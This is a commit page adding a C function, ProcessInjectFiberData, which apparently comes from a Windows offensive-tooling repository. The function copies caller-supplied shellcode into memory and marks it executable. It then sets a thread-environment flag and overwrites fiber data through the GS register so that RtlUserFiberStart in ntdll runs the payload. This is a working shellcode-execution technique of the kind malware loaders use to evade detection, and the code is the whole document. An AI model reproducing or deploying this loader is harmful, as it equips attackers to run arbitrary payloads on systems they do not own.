Create ProcessInjectFiberData Function

2026-06-06 16:54:55 +00:00 · 2022-11-23 19:21:23 +01:00
parent 64a72b97f8
commit 03c2f7b43a
1 changed files with 46 additions and 0 deletions
@@ -0,0 +1,46 @@
+#include "Win32Helper.h"
+
+typedef int(WINAPI* RtlUserFiberStart)();
+
+DWORD ProcessInjectFiberData(PCHAR Shellcode, DWORD Length)
+{
+    NTSTATUS status;
+    DWORD OldProt = 0;
+
+    PTEB pTeb          = GetTeb();
+    PVOID pTebFlags    = (PVOID)((UINT_PTR)pTeb + 0x17ee);
+    *(PCHAR)pTebFlags  = *(PCHAR)pTebFlags | 0x4;
+
+
+    HMODULE hModule = GetModuleHandleA("ntdll.dll");
+    RtlUserFiberStart pRtlUserFiberStart = (RtlUserFiberStart)GetProcAddress(hModule, "RtlUserFiberStart");
+
+    LPVOID BufferAddress = VirtualAlloc(NULL,
+                                        Length, 
+                                        MEM_COMMIT | MEM_RESERVE, 
+                                        PAGE_READWRITE);
+
+    RtlCopyMemory(BufferAddress, Shellcode, Length);
+
+    status = VirtualProtect(BufferAddress,
+                            Length, 
+                            PAGE_EXECUTE_READ, 
+                            &OldProt);
+
+    if (status != 0) 
+    {
+        UINT_PTR pFiberData = (UINT_PTR)HeapAlloc(GetProcessHeap(),
+                                                  HEAP_ZERO_MEMORY,
+                                                  0x100);
+
+        *(LPVOID*)(pFiberData + 0x0a8) = BufferAddress;
+
+        __writegsqword(0x20, pFiberData);
+        pRtlUserFiberStart();
+
+        HeapFree(GetProcessHeap(), 0, (LPVOID)pFiberData);
+    }
+
+    VirtualFree(BufferAddress, Length, MEM_RELEASE);
+    return 0;
+}